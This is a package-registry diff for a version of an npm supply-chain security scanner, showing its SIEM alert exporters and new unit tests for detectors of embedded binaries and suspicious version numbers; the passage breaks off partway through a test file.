@lateos/npm-scan 0.18.2 → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +265 -233
- package/LICENSING.md +19 -19
- package/README.de.md +708 -708
- package/README.fr.md +707 -707
- package/README.ja.md +704 -704
- package/README.md +861 -826
- package/README.zh.md +708 -708
- package/VALIDATION.md +92 -0
- package/backend/cra.js +68 -68
- package/backend/db/pg-schema.sql +155 -0
- package/backend/db/schema.sql +32 -32
- package/backend/db.js +88 -88
- package/backend/detectors/atk-001-lifecycle.js +17 -17
- package/backend/detectors/atk-002-obfusc.js +261 -261
- package/backend/detectors/atk-003-creds.js +13 -13
- package/backend/detectors/atk-004-persist.js +13 -13
- package/backend/detectors/atk-005-exfil.js +13 -13
- package/backend/detectors/atk-006-depconf.js +14 -14
- package/backend/detectors/atk-007-typosquat.js +34 -34
- package/backend/detectors/atk-008-tarball-tamper.js +91 -91
- package/backend/detectors/atk-009-dormant-trigger.js +62 -62
- package/backend/detectors/atk-010-sandbox-evasion.js +50 -50
- package/backend/detectors/atk-011-transitive-prop.js +76 -76
- package/backend/detectors/config/thresholds.js +66 -0
- package/backend/detectors/config/whitelist.json +74 -0
- package/backend/detectors/cve-2026-48710-badhost/codePattern.js +99 -99
- package/backend/detectors/cve-2026-48710-badhost/findings.js +105 -105
- package/backend/detectors/cve-2026-48710-badhost/index.js +15 -15
- package/backend/detectors/cve-2026-48710-badhost/manifest.js +305 -305
- package/backend/detectors/cve-2026-48710-badhost/transitive.js +189 -189
- package/backend/detectors/hf-impersonation/index.js +396 -396
- package/backend/detectors/hf-impersonation/jaro-winkler.js +44 -44
- package/backend/detectors/hf-impersonation/known-orgs.js +5 -5
- package/backend/detectors/hf-impersonation/simhash.js +46 -46
- package/backend/detectors/index.js +87 -81
- package/backend/detectors/lib/ast-patterns.js +21 -0
- package/backend/detectors/lib/entropy-analyzer.js +24 -0
- package/backend/detectors/megalodon/d1-workflow-scan.js +147 -147
- package/backend/detectors/megalodon/d2-credential-harvest.js +61 -61
- package/backend/detectors/megalodon/d3-publish-velocity.js +67 -67
- package/backend/detectors/megalodon/d4-publisher-drift.js +124 -124
- package/backend/detectors/megalodon/d5-bot-commit-identity.js +3 -3
- package/backend/detectors/megalodon/d6-date-anachronism.js +3 -3
- package/backend/detectors/megalodon/index.js +80 -80
- package/backend/detectors/megalodon/types.js +9 -9
- package/backend/detectors/mini-shai-hulud/d1-burst-publish.js +42 -42
- package/backend/detectors/mini-shai-hulud/d2-sibling-compromise.js +116 -116
- package/backend/detectors/mini-shai-hulud/d3-slsa-mismatch.js +72 -72
- package/backend/detectors/mini-shai-hulud/d4-maintainer-anomaly.js +45 -45
- package/backend/detectors/mini-shai-hulud/d5-ioc-check.js +95 -95
- package/backend/detectors/mini-shai-hulud/d6-token-exfil.js +38 -38
- package/backend/detectors/mini-shai-hulud/index.js +118 -118
- package/backend/detectors/mini-shai-hulud/iocs.json +79 -79
- package/backend/detectors/tier1-binary-embed.js +34 -5
- package/backend/detectors/tier1-obfuscation-heuristics.js +156 -0
- package/backend/detectors/tier1-slsa-attestation.js +12 -0
- package/backend/detectors/tier1-version-anomaly.js +187 -0
- package/backend/detectors.test.js +88 -0
- package/backend/fetch.js +175 -175
- package/backend/index.js +4 -4
- package/backend/license.js +89 -89
- package/backend/lockfile.js +379 -379
- package/backend/pdf.js +245 -245
- package/backend/policy.js +193 -193
- package/backend/report.js +254 -254
- package/backend/sbom.js +66 -66
- package/backend/scripts/analyze-false-positives.js +146 -0
- package/backend/scripts/analyze-validation.js +151 -0
- package/backend/scripts/detect-false-positives.js +93 -0
- package/backend/scripts/fetch-top-packages.js +129 -0
- package/backend/scripts/validate-detectors.js +142 -0
- package/backend/siem/cef.js +32 -32
- package/backend/siem/ecs.js +40 -40
- package/backend/siem/index.js +18 -18
- package/backend/siem/qradar.js +56 -56
- package/backend/siem/sentinel.js +27 -27
- package/backend/tests-d5-enhanced.test.js +46 -0
- package/backend/tests-d6-version-anomaly.test.js +58 -0
- package/backend/tests-d6.test.js +116 -0
- package/backend/tests-d6c.test.js +106 -0
- package/backend/tests-d7-obfuscation.test.js +91 -0
- package/backend/tests.test.js +898 -0
- package/backend/vsix-scan/detectors/activation-event-risk.js +116 -116
- package/backend/vsix-scan/detectors/burst-publish.js +52 -52
- package/backend/vsix-scan/detectors/exfil-pattern.js +88 -88
- package/backend/vsix-scan/detectors/known-ioc.js +105 -105
- package/backend/vsix-scan/detectors/orphan-commit-fetch.js +69 -69
- package/backend/vsix-scan/detectors/publisher-anomaly.js +70 -70
- package/backend/vsix-scan/index.js +183 -183
- package/backend/vsix-scan/marketplace-client.js +145 -145
- package/backend/vsix-scan/vsix-iocs.json +31 -31
- package/cli/cli.js +458 -458
- package/package.json +74 -57
- package/.dockerignore +0 -20
- package/.husky/pre-commit +0 -1
- package/SECURITY.md +0 -73
- package/deploy/helm/npm-scan/Chart.yaml +0 -22
- package/deploy/helm/npm-scan/templates/_helpers.tpl +0 -9
- package/deploy/helm/npm-scan/templates/api.yaml +0 -94
- package/deploy/helm/npm-scan/templates/ingress.yaml +0 -28
- package/deploy/helm/npm-scan/templates/postgresql.yaml +0 -67
- package/deploy/helm/npm-scan/templates/secrets.yaml +0 -19
- package/deploy/helm/npm-scan/templates/worker.yaml +0 -32
- package/deploy/helm/npm-scan/values.byoc.yaml +0 -75
- package/deploy/helm/npm-scan/values.yaml +0 -103
- package/scripts/download-corpus.js +0 -30
- package/scripts/gen-mal-corpus.js +0 -35
- package/scripts/generate-campaign-fixtures.js +0 -170
- package/src/config/top-5000.json +0 -87
- package/test/fixtures/lockfiles/npm-lock.json +0 -69
- package/test/fixtures/lockfiles/pnpm-lock.yaml +0 -118
- package/test/fixtures/lockfiles/yarn.lock +0 -104
- package/test/fixtures/mock-data.js +0 -69
package/backend/siem/cef.js
CHANGED
|
@@ -1,33 +1,33 @@
|
|
|
1
|
-
export function generateCEF(scans) {
|
|
2
|
-
const entries = [];
|
|
3
|
-
for (const s of scans) {
|
|
4
|
-
for (const f of (s.findings || [])) {
|
|
5
|
-
const atkId = f.atk_id || f.id;
|
|
6
|
-
const desc = (f.description || f.title || '').replace(/\\/g, '\\\\').replace(/\|/g, '\\|');
|
|
7
|
-
const sevMap = { critical: 10, high: 8, medium: 5, low: 2 };
|
|
8
|
-
const sev = sevMap[f.severity] || 5;
|
|
9
|
-
const pkgName = (s.package_name || 'unknown').replace(/\|/g, '\\|');
|
|
10
|
-
const pkgVer = (s.version || '').replace(/\|/g, '\\|');
|
|
11
|
-
entries.push([
|
|
12
|
-
'CEF:0',
|
|
13
|
-
'npm-scan',
|
|
14
|
-
'npm-scan',
|
|
15
|
-
process.env.npm_package_version || '0.4.0',
|
|
16
|
-
atkId,
|
|
17
|
-
desc,
|
|
18
|
-
String(sev),
|
|
19
|
-
`suser=${pkgName} ${pkgVer}`,
|
|
20
|
-
`msg=${desc}`,
|
|
21
|
-
`cs1=${atkId}`,
|
|
22
|
-
`cs1Label=atkId`,
|
|
23
|
-
`cs2=${f.severity}`,
|
|
24
|
-
`cs2Label=severity`,
|
|
25
|
-
`cs3=${pkgName}`,
|
|
26
|
-
`cs3Label=package`,
|
|
27
|
-
`cs4=${pkgVer}`,
|
|
28
|
-
`cs4Label=version`,
|
|
29
|
-
].join('|'));
|
|
30
|
-
}
|
|
31
|
-
}
|
|
32
|
-
return entries.join('\n');
|
|
1
|
+
export function generateCEF(scans) {
|
|
2
|
+
const entries = [];
|
|
3
|
+
for (const s of scans) {
|
|
4
|
+
for (const f of (s.findings || [])) {
|
|
5
|
+
const atkId = f.atk_id || f.id;
|
|
6
|
+
const desc = (f.description || f.title || '').replace(/\\/g, '\\\\').replace(/\|/g, '\\|');
|
|
7
|
+
const sevMap = { critical: 10, high: 8, medium: 5, low: 2 };
|
|
8
|
+
const sev = sevMap[f.severity] || 5;
|
|
9
|
+
const pkgName = (s.package_name || 'unknown').replace(/\|/g, '\\|');
|
|
10
|
+
const pkgVer = (s.version || '').replace(/\|/g, '\\|');
|
|
11
|
+
entries.push([
|
|
12
|
+
'CEF:0',
|
|
13
|
+
'npm-scan',
|
|
14
|
+
'npm-scan',
|
|
15
|
+
process.env.npm_package_version || '0.4.0',
|
|
16
|
+
atkId,
|
|
17
|
+
desc,
|
|
18
|
+
String(sev),
|
|
19
|
+
`suser=${pkgName} ${pkgVer}`,
|
|
20
|
+
`msg=${desc}`,
|
|
21
|
+
`cs1=${atkId}`,
|
|
22
|
+
`cs1Label=atkId`,
|
|
23
|
+
`cs2=${f.severity}`,
|
|
24
|
+
`cs2Label=severity`,
|
|
25
|
+
`cs3=${pkgName}`,
|
|
26
|
+
`cs3Label=package`,
|
|
27
|
+
`cs4=${pkgVer}`,
|
|
28
|
+
`cs4Label=version`,
|
|
29
|
+
].join('|'));
|
|
30
|
+
}
|
|
31
|
+
}
|
|
32
|
+
return entries.join('\n');
|
|
33
33
|
}
|
package/backend/siem/ecs.js
CHANGED
|
@@ -1,41 +1,41 @@
|
|
|
1
|
-
export function generateECS(scans) {
|
|
2
|
-
const events = [];
|
|
3
|
-
for (const s of scans) {
|
|
4
|
-
for (const f of (s.findings || [])) {
|
|
5
|
-
const atkId = f.atk_id || f.id;
|
|
6
|
-
const sevMap = { critical: 100, high: 80, medium: 50, low: 20 };
|
|
7
|
-
events.push({
|
|
8
|
-
'@timestamp': new Date().toISOString(),
|
|
9
|
-
event: {
|
|
10
|
-
kind: 'alert',
|
|
11
|
-
category: 'threat',
|
|
12
|
-
type: ['indicator', 'threat'],
|
|
13
|
-
action: 'npm-scan-detected',
|
|
14
|
-
severity: sevMap[f.severity] || 50,
|
|
15
|
-
},
|
|
16
|
-
message: `[${atkId}] ${f.severity.toUpperCase()}: ${f.description || f.title || 'Unknown finding'}`,
|
|
17
|
-
log: { level: f.severity },
|
|
18
|
-
observer: {
|
|
19
|
-
vendor: 'Lateos',
|
|
20
|
-
product: 'npm-scan',
|
|
21
|
-
version: process.env.npm_package_version || '0.7.0',
|
|
22
|
-
},
|
|
23
|
-
labels: {
|
|
24
|
-
package: s.package_name || 'unknown',
|
|
25
|
-
version: s.version || 'unknown',
|
|
26
|
-
atk_id: atkId,
|
|
27
|
-
severity: f.severity,
|
|
28
|
-
},
|
|
29
|
-
vulnerability: {
|
|
30
|
-
classification: 'npm-supply-chain',
|
|
31
|
-
reference: `https://npm-scan.io/atk/${atkId}`,
|
|
32
|
-
id: atkId,
|
|
33
|
-
description: f.description || f.title || null,
|
|
34
|
-
enumeration: 'ATK',
|
|
35
|
-
},
|
|
36
|
-
file: f.evidence ? { name: f.evidence } : undefined,
|
|
37
|
-
});
|
|
38
|
-
}
|
|
39
|
-
}
|
|
40
|
-
return events.map(e => JSON.stringify(e)).join('\n');
|
|
1
|
+
export function generateECS(scans) {
|
|
2
|
+
const events = [];
|
|
3
|
+
for (const s of scans) {
|
|
4
|
+
for (const f of (s.findings || [])) {
|
|
5
|
+
const atkId = f.atk_id || f.id;
|
|
6
|
+
const sevMap = { critical: 100, high: 80, medium: 50, low: 20 };
|
|
7
|
+
events.push({
|
|
8
|
+
'@timestamp': new Date().toISOString(),
|
|
9
|
+
event: {
|
|
10
|
+
kind: 'alert',
|
|
11
|
+
category: 'threat',
|
|
12
|
+
type: ['indicator', 'threat'],
|
|
13
|
+
action: 'npm-scan-detected',
|
|
14
|
+
severity: sevMap[f.severity] || 50,
|
|
15
|
+
},
|
|
16
|
+
message: `[${atkId}] ${f.severity.toUpperCase()}: ${f.description || f.title || 'Unknown finding'}`,
|
|
17
|
+
log: { level: f.severity },
|
|
18
|
+
observer: {
|
|
19
|
+
vendor: 'Lateos',
|
|
20
|
+
product: 'npm-scan',
|
|
21
|
+
version: process.env.npm_package_version || '0.7.0',
|
|
22
|
+
},
|
|
23
|
+
labels: {
|
|
24
|
+
package: s.package_name || 'unknown',
|
|
25
|
+
version: s.version || 'unknown',
|
|
26
|
+
atk_id: atkId,
|
|
27
|
+
severity: f.severity,
|
|
28
|
+
},
|
|
29
|
+
vulnerability: {
|
|
30
|
+
classification: 'npm-supply-chain',
|
|
31
|
+
reference: `https://npm-scan.io/atk/${atkId}`,
|
|
32
|
+
id: atkId,
|
|
33
|
+
description: f.description || f.title || null,
|
|
34
|
+
enumeration: 'ATK',
|
|
35
|
+
},
|
|
36
|
+
file: f.evidence ? { name: f.evidence } : undefined,
|
|
37
|
+
});
|
|
38
|
+
}
|
|
39
|
+
}
|
|
40
|
+
return events.map(e => JSON.stringify(e)).join('\n');
|
|
41
41
|
}
|
package/backend/siem/index.js
CHANGED
|
@@ -1,19 +1,19 @@
|
|
|
1
|
-
import { generateCEF } from './cef.js';
|
|
2
|
-
import { generateECS } from './ecs.js';
|
|
3
|
-
import { generateSentinel } from './sentinel.js';
|
|
4
|
-
import { generateQRadar } from './qradar.js';
|
|
5
|
-
|
|
6
|
-
export function generateSIEM(scans, format = 'cef') {
|
|
7
|
-
switch (format) {
|
|
8
|
-
case 'cef':
|
|
9
|
-
return generateCEF(scans);
|
|
10
|
-
case 'ecs':
|
|
11
|
-
return generateECS(scans);
|
|
12
|
-
case 'sentinel':
|
|
13
|
-
return generateSentinel(scans);
|
|
14
|
-
case 'qradar':
|
|
15
|
-
return generateQRadar(scans);
|
|
16
|
-
default:
|
|
17
|
-
throw new Error(`Unknown SIEM format: ${format}. Supported: cef, ecs, sentinel, qradar`);
|
|
18
|
-
}
|
|
1
|
+
import { generateCEF } from './cef.js';
|
|
2
|
+
import { generateECS } from './ecs.js';
|
|
3
|
+
import { generateSentinel } from './sentinel.js';
|
|
4
|
+
import { generateQRadar } from './qradar.js';
|
|
5
|
+
|
|
6
|
+
export function generateSIEM(scans, format = 'cef') {
|
|
7
|
+
switch (format) {
|
|
8
|
+
case 'cef':
|
|
9
|
+
return generateCEF(scans);
|
|
10
|
+
case 'ecs':
|
|
11
|
+
return generateECS(scans);
|
|
12
|
+
case 'sentinel':
|
|
13
|
+
return generateSentinel(scans);
|
|
14
|
+
case 'qradar':
|
|
15
|
+
return generateQRadar(scans);
|
|
16
|
+
default:
|
|
17
|
+
throw new Error(`Unknown SIEM format: ${format}. Supported: cef, ecs, sentinel, qradar`);
|
|
18
|
+
}
|
|
19
19
|
}
|
package/backend/siem/qradar.js
CHANGED
|
@@ -1,57 +1,57 @@
|
|
|
1
|
-
export function generateQRadar(scans) {
|
|
2
|
-
const events = [];
|
|
3
|
-
for (const s of scans) {
|
|
4
|
-
for (const f of (s.findings || [])) {
|
|
5
|
-
const atkId = f.atk_id || f.id;
|
|
6
|
-
events.push({
|
|
7
|
-
source: 'npm-scan',
|
|
8
|
-
version: process.env.npm_package_version || '0.7.0',
|
|
9
|
-
devicetime: new Date().toISOString(),
|
|
10
|
-
devicepayload: [
|
|
11
|
-
s.package_name || 'unknown',
|
|
12
|
-
s.version || 'unknown',
|
|
13
|
-
atkId,
|
|
14
|
-
f.severity,
|
|
15
|
-
f.title || f.description || '',
|
|
16
|
-
f.evidence || '',
|
|
17
|
-
].join('\t'),
|
|
18
|
-
devicevendor: 'Lateos',
|
|
19
|
-
devicename: 'npm-scan',
|
|
20
|
-
deviceproduct: 'npm-scan',
|
|
21
|
-
atk_id: atkId,
|
|
22
|
-
severity: f.severity,
|
|
23
|
-
package_name: s.package_name || 'unknown',
|
|
24
|
-
package_version: s.version || 'unknown',
|
|
25
|
-
finding_title: f.title || f.description || '',
|
|
26
|
-
finding_description: f.description || f.title || '',
|
|
27
|
-
evidence: f.evidence || '',
|
|
28
|
-
mitigation: f.mitigation || '',
|
|
29
|
-
raw_category: 'NPM Supply Chain Threat',
|
|
30
|
-
qid: _qrQid(f.severity),
|
|
31
|
-
category: _qrCategory(f.severity),
|
|
32
|
-
});
|
|
33
|
-
}
|
|
34
|
-
}
|
|
35
|
-
return events.map(e => JSON.stringify(e)).join('\n');
|
|
36
|
-
}
|
|
37
|
-
|
|
38
|
-
const QID_MAP = {
|
|
39
|
-
critical: 90050001,
|
|
40
|
-
high: 90050002,
|
|
41
|
-
medium: 90050003,
|
|
42
|
-
low: 90050004,
|
|
43
|
-
};
|
|
44
|
-
|
|
45
|
-
function _qrQid(severity) {
|
|
46
|
-
return QID_MAP[severity] || 90050003;
|
|
47
|
-
}
|
|
48
|
-
|
|
49
|
-
function _qrCategory(severity) {
|
|
50
|
-
const map = {
|
|
51
|
-
critical: 'Critical Severity Malware',
|
|
52
|
-
high: 'High Severity Malware',
|
|
53
|
-
medium: 'Medium Severity Malware',
|
|
54
|
-
low: 'Low Severity Malware',
|
|
55
|
-
};
|
|
56
|
-
return map[severity] || 'Medium Severity Malware';
|
|
1
|
+
export function generateQRadar(scans) {
|
|
2
|
+
const events = [];
|
|
3
|
+
for (const s of scans) {
|
|
4
|
+
for (const f of (s.findings || [])) {
|
|
5
|
+
const atkId = f.atk_id || f.id;
|
|
6
|
+
events.push({
|
|
7
|
+
source: 'npm-scan',
|
|
8
|
+
version: process.env.npm_package_version || '0.7.0',
|
|
9
|
+
devicetime: new Date().toISOString(),
|
|
10
|
+
devicepayload: [
|
|
11
|
+
s.package_name || 'unknown',
|
|
12
|
+
s.version || 'unknown',
|
|
13
|
+
atkId,
|
|
14
|
+
f.severity,
|
|
15
|
+
f.title || f.description || '',
|
|
16
|
+
f.evidence || '',
|
|
17
|
+
].join('\t'),
|
|
18
|
+
devicevendor: 'Lateos',
|
|
19
|
+
devicename: 'npm-scan',
|
|
20
|
+
deviceproduct: 'npm-scan',
|
|
21
|
+
atk_id: atkId,
|
|
22
|
+
severity: f.severity,
|
|
23
|
+
package_name: s.package_name || 'unknown',
|
|
24
|
+
package_version: s.version || 'unknown',
|
|
25
|
+
finding_title: f.title || f.description || '',
|
|
26
|
+
finding_description: f.description || f.title || '',
|
|
27
|
+
evidence: f.evidence || '',
|
|
28
|
+
mitigation: f.mitigation || '',
|
|
29
|
+
raw_category: 'NPM Supply Chain Threat',
|
|
30
|
+
qid: _qrQid(f.severity),
|
|
31
|
+
category: _qrCategory(f.severity),
|
|
32
|
+
});
|
|
33
|
+
}
|
|
34
|
+
}
|
|
35
|
+
return events.map(e => JSON.stringify(e)).join('\n');
|
|
36
|
+
}
|
|
37
|
+
|
|
38
|
+
const QID_MAP = {
|
|
39
|
+
critical: 90050001,
|
|
40
|
+
high: 90050002,
|
|
41
|
+
medium: 90050003,
|
|
42
|
+
low: 90050004,
|
|
43
|
+
};
|
|
44
|
+
|
|
45
|
+
function _qrQid(severity) {
|
|
46
|
+
return QID_MAP[severity] || 90050003;
|
|
47
|
+
}
|
|
48
|
+
|
|
49
|
+
function _qrCategory(severity) {
|
|
50
|
+
const map = {
|
|
51
|
+
critical: 'Critical Severity Malware',
|
|
52
|
+
high: 'High Severity Malware',
|
|
53
|
+
medium: 'Medium Severity Malware',
|
|
54
|
+
low: 'Low Severity Malware',
|
|
55
|
+
};
|
|
56
|
+
return map[severity] || 'Medium Severity Malware';
|
|
57
57
|
}
|
package/backend/siem/sentinel.js
CHANGED
|
@@ -1,28 +1,28 @@
|
|
|
1
|
-
export function generateSentinel(scans) {
|
|
2
|
-
const events = [];
|
|
3
|
-
for (const s of scans) {
|
|
4
|
-
for (const f of (s.findings || [])) {
|
|
5
|
-
const atkId = f.atk_id || f.id;
|
|
6
|
-
events.push({
|
|
7
|
-
TimeGenerated: new Date().toISOString(),
|
|
8
|
-
Computer: process.env.COMPUTERNAME || process.env.HOSTNAME || 'npm-scan-host',
|
|
9
|
-
SourceSystem: 'npm-scan',
|
|
10
|
-
DeviceVendor: 'Lateos',
|
|
11
|
-
DeviceProduct: 'npm-scan',
|
|
12
|
-
DeviceVersion: process.env.npm_package_version || '0.7.0',
|
|
13
|
-
SeverityLevel: f.severity,
|
|
14
|
-
Severity: f.severity.toUpperCase(),
|
|
15
|
-
EventType: 'npm-supply-chain-threat',
|
|
16
|
-
ATKId: atkId,
|
|
17
|
-
FindingTitle: f.title || f.description || '',
|
|
18
|
-
FindingDescription: f.description || f.title || '',
|
|
19
|
-
Evidence: f.evidence || '',
|
|
20
|
-
PackageName: s.package_name || 'unknown',
|
|
21
|
-
PackageVersion: s.version || 'unknown',
|
|
22
|
-
Mitigation: f.mitigation || '',
|
|
23
|
-
ThreatClassification: 'npm-supply-chain',
|
|
24
|
-
});
|
|
25
|
-
}
|
|
26
|
-
}
|
|
27
|
-
return JSON.stringify(events, null, 2);
|
|
1
|
+
export function generateSentinel(scans) {
|
|
2
|
+
const events = [];
|
|
3
|
+
for (const s of scans) {
|
|
4
|
+
for (const f of (s.findings || [])) {
|
|
5
|
+
const atkId = f.atk_id || f.id;
|
|
6
|
+
events.push({
|
|
7
|
+
TimeGenerated: new Date().toISOString(),
|
|
8
|
+
Computer: process.env.COMPUTERNAME || process.env.HOSTNAME || 'npm-scan-host',
|
|
9
|
+
SourceSystem: 'npm-scan',
|
|
10
|
+
DeviceVendor: 'Lateos',
|
|
11
|
+
DeviceProduct: 'npm-scan',
|
|
12
|
+
DeviceVersion: process.env.npm_package_version || '0.7.0',
|
|
13
|
+
SeverityLevel: f.severity,
|
|
14
|
+
Severity: f.severity.toUpperCase(),
|
|
15
|
+
EventType: 'npm-supply-chain-threat',
|
|
16
|
+
ATKId: atkId,
|
|
17
|
+
FindingTitle: f.title || f.description || '',
|
|
18
|
+
FindingDescription: f.description || f.title || '',
|
|
19
|
+
Evidence: f.evidence || '',
|
|
20
|
+
PackageName: s.package_name || 'unknown',
|
|
21
|
+
PackageVersion: s.version || 'unknown',
|
|
22
|
+
Mitigation: f.mitigation || '',
|
|
23
|
+
ThreatClassification: 'npm-supply-chain',
|
|
24
|
+
});
|
|
25
|
+
}
|
|
26
|
+
}
|
|
27
|
+
return JSON.stringify(events, null, 2);
|
|
28
28
|
}
|
|
@@ -0,0 +1,46 @@
|
|
|
1
|
+
import { test, describe } from 'node:test';
|
|
2
|
+
import assert from 'assert/strict';
|
|
3
|
+
import * as detectors from './detectors/index.js';
|
|
4
|
+
|
|
5
|
+
describe('D5: Binary Embed Enhancement', () => {
|
|
6
|
+
test('D5: flags cross-platform campaign-1 binary set with high confidence', async () => {
|
|
7
|
+
const allFiles = [
|
|
8
|
+
{ path: 'bin/agent-linux-x64', content: String.fromCharCode(0x7f) + 'ELF' },
|
|
9
|
+
{ path: 'bin/agent-macos-arm64', content: String.fromCharCode(0xcf, 0xfa, 0xed, 0xfe) },
|
|
10
|
+
{ path: 'bin/agent-windows-x86.exe', content: String.fromCharCode(0x4d, 0x5a) },
|
|
11
|
+
];
|
|
12
|
+
const pkg = { name: 'suspicious-pkg', version: '1.0.0' };
|
|
13
|
+
const findings = await detectors.runAll(pkg, [], null, allFiles);
|
|
14
|
+
const matches = findings.filter(f => f.id === 'TIER1-BINARY-EMBED');
|
|
15
|
+
assert(matches.length > 0, 'Expected TIER1-BINARY-EMBED finding');
|
|
16
|
+
const hasCrossPlatform = matches.some(m =>
|
|
17
|
+
m.evidence.some(e => e.includes('cross-platform')),
|
|
18
|
+
);
|
|
19
|
+
assert(hasCrossPlatform, 'Expected cross-platform binary set evidence');
|
|
20
|
+
});
|
|
21
|
+
|
|
22
|
+
test('D5: cross-platform binary set scores > 85', async () => {
|
|
23
|
+
const allFiles = [
|
|
24
|
+
{ path: 'bin/agent-linux-x64', content: String.fromCharCode(0x7f) + 'ELF' },
|
|
25
|
+
{ path: 'bin/agent-macos-arm64', content: String.fromCharCode(0xcf, 0xfa, 0xed, 0xfe) },
|
|
26
|
+
];
|
|
27
|
+
const pkg = { name: 'suspicious-pkg', version: '1.0.0' };
|
|
28
|
+
const findings = await detectors.runAll(pkg, [], null, allFiles);
|
|
29
|
+
const matches = findings.filter(f => f.id === 'TIER1-BINARY-EMBED');
|
|
30
|
+
const hasHighScore = matches.some(m => m.confidenceScore > 85);
|
|
31
|
+
assert(hasHighScore, `No finding with confidenceScore > 85; scores: ${matches.map(m => m.confidenceScore).join(', ')}`);
|
|
32
|
+
});
|
|
33
|
+
|
|
34
|
+
test('D5: single binary not flagged as cross-platform', async () => {
|
|
35
|
+
const allFiles = [
|
|
36
|
+
{ path: 'bin/agent-linux-x64', content: String.fromCharCode(0x7f) + 'ELF' },
|
|
37
|
+
];
|
|
38
|
+
const pkg = { name: 'normal-pkg', version: '1.0.0' };
|
|
39
|
+
const findings = await detectors.runAll(pkg, [], null, allFiles);
|
|
40
|
+
const matches = findings.filter(f => f.id === 'TIER1-BINARY-EMBED');
|
|
41
|
+
const hasPlatformLabel = matches.some(m =>
|
|
42
|
+
m.evidence.some(e => e.includes('cross-platform')),
|
|
43
|
+
);
|
|
44
|
+
assert(!hasPlatformLabel, 'Single binary should not be flagged as cross-platform');
|
|
45
|
+
});
|
|
46
|
+
});
|
|
@@ -0,0 +1,58 @@
|
|
|
1
|
+
import { test, describe } from 'node:test';
|
|
2
|
+
import assert from 'assert/strict';
|
|
3
|
+
import * as detectors from './detectors/index.js';
|
|
4
|
+
|
|
5
|
+
describe('D6: Version Anomaly', () => {
|
|
6
|
+
test('D6: flags 99.99.99 when legitimate max is 5.3.2', async () => {
|
|
7
|
+
const pkg = { name: '@widget/core', version: '99.99.99' };
|
|
8
|
+
const registryMeta = ['1.0.0', '1.5.0', '2.0.0', '2.1.0', '3.0.0', '4.0.0', '5.0.0', '5.3.2'];
|
|
9
|
+
const findings = await detectors.runAll(pkg, [], registryMeta);
|
|
10
|
+
const match = findings.find(f => f.id === 'TIER1-VERSION-ANOMALY');
|
|
11
|
+
assert(match, 'Expected TIER1-VERSION-ANOMALY finding');
|
|
12
|
+
assert(match.confidenceScore > 90, `confidenceScore ${match.confidenceScore} <= 90`);
|
|
13
|
+
});
|
|
14
|
+
|
|
15
|
+
test('D6: flags 11.11.11 with high confidence', async () => {
|
|
16
|
+
const pkg = { name: 'internal-utils', version: '11.11.11' };
|
|
17
|
+
const registryMeta = ['1.0.0', '1.0.1', '1.1.0', '1.2.0', '2.0.0'];
|
|
18
|
+
const findings = await detectors.runAll(pkg, [], registryMeta);
|
|
19
|
+
const match = findings.find(f => f.id === 'TIER1-VERSION-ANOMALY');
|
|
20
|
+
assert(match, 'Expected TIER1-VERSION-ANOMALY finding');
|
|
21
|
+
assert(match.confidenceScore > 85, `confidenceScore ${match.confidenceScore} <= 85`);
|
|
22
|
+
});
|
|
23
|
+
|
|
24
|
+
test('D6: does NOT flag legitimate 2.0.0 jump from 1.9.9', async () => {
|
|
25
|
+
const pkg = { name: 'stable-lib', version: '2.0.0' };
|
|
26
|
+
const registryMeta = [
|
|
27
|
+
'1.0.0', '1.1.0', '1.2.0', '1.3.0', '1.4.0', '1.5.0',
|
|
28
|
+
'1.6.0', '1.7.0', '1.8.0', '1.9.0', '1.9.9',
|
|
29
|
+
];
|
|
30
|
+
const findings = await detectors.runAll(pkg, [], registryMeta);
|
|
31
|
+
const match = findings.find(f => f.id === 'TIER1-VERSION-ANOMALY');
|
|
32
|
+
assert(!match, 'Should not flag legitimate 2.0.0 major bump');
|
|
33
|
+
});
|
|
34
|
+
|
|
35
|
+
test('D6: handles null registry gracefully — degrades confidence', async () => {
|
|
36
|
+
const pkg = { name: 'offline-pkg', version: '99.99.99' };
|
|
37
|
+
const findings = await detectors.runAll(pkg);
|
|
38
|
+
const match = findings.find(f => f.id === 'TIER1-VERSION-ANOMALY');
|
|
39
|
+
assert(match, 'Expected TIER1-VERSION-ANOMALY finding');
|
|
40
|
+
assert(match.confidenceScore < 70, `confidenceScore ${match.confidenceScore} >= 70`);
|
|
41
|
+
});
|
|
42
|
+
|
|
43
|
+
test('D6: no finding on KNOWN_REPUTABLE_PACKAGES regardless of version', async () => {
|
|
44
|
+
const pkg = { name: 'react', version: '99.99.99' };
|
|
45
|
+
const registryMeta = ['1.0.0', '2.0.0'];
|
|
46
|
+
const findings = await detectors.runAll(pkg, [], registryMeta);
|
|
47
|
+
const match = findings.find(f => f.id === 'TIER1-VERSION-ANOMALY');
|
|
48
|
+
assert(!match);
|
|
49
|
+
});
|
|
50
|
+
|
|
51
|
+
test('D6: no finding on normal semver within range', async () => {
|
|
52
|
+
const pkg = { name: 'widget-core', version: '5.4.1' };
|
|
53
|
+
const registryMeta = ['1.0.0', '2.0.0', '3.0.0', '4.0.0', '5.0.0', '5.4.0'];
|
|
54
|
+
const findings = await detectors.runAll(pkg, [], registryMeta);
|
|
55
|
+
const match = findings.find(f => f.id === 'TIER1-VERSION-ANOMALY');
|
|
56
|
+
assert(!match);
|
|
57
|
+
});
|
|
58
|
+
});
|
|
@@ -0,0 +1,116 @@
|
|
|
1
|
+
import { test, describe } from 'node:test';
|
|
2
|
+
import assert from 'assert/strict';
|
|
3
|
+
import * as detectors from './detectors/index.js';
|
|
4
|
+
|
|
5
|
+
// ─── D6a — tier1-version-confusion ──────────────────────────────────
|
|
6
|
+
|
|
7
|
+
describe('D6a — tier1-version-confusion', () => {
|
|
8
|
+
test('D6a: detects exact sentinel version 99.99.99', async () => {
|
|
9
|
+
const pkg = { name: 'internal-utils', version: '99.99.99' };
|
|
10
|
+
const findings = await detectors.runAll(pkg);
|
|
11
|
+
const match = findings.find(f => f.id === 'TIER1-VERSION-CONFUSION');
|
|
12
|
+
assert(match, 'Expected TIER1-VERSION-CONFUSION finding');
|
|
13
|
+
assert.equal(match.confidence, 'HIGH');
|
|
14
|
+
assert(match.confidenceScore >= 80, `confidenceScore ${match.confidenceScore} < 80`);
|
|
15
|
+
});
|
|
16
|
+
|
|
17
|
+
test('D6a: detects sentinel family versions 9.9.9 / 10.10.10 / 11.11.11', async () => {
|
|
18
|
+
for (const version of ['9.9.9', '10.10.10', '11.11.11']) {
|
|
19
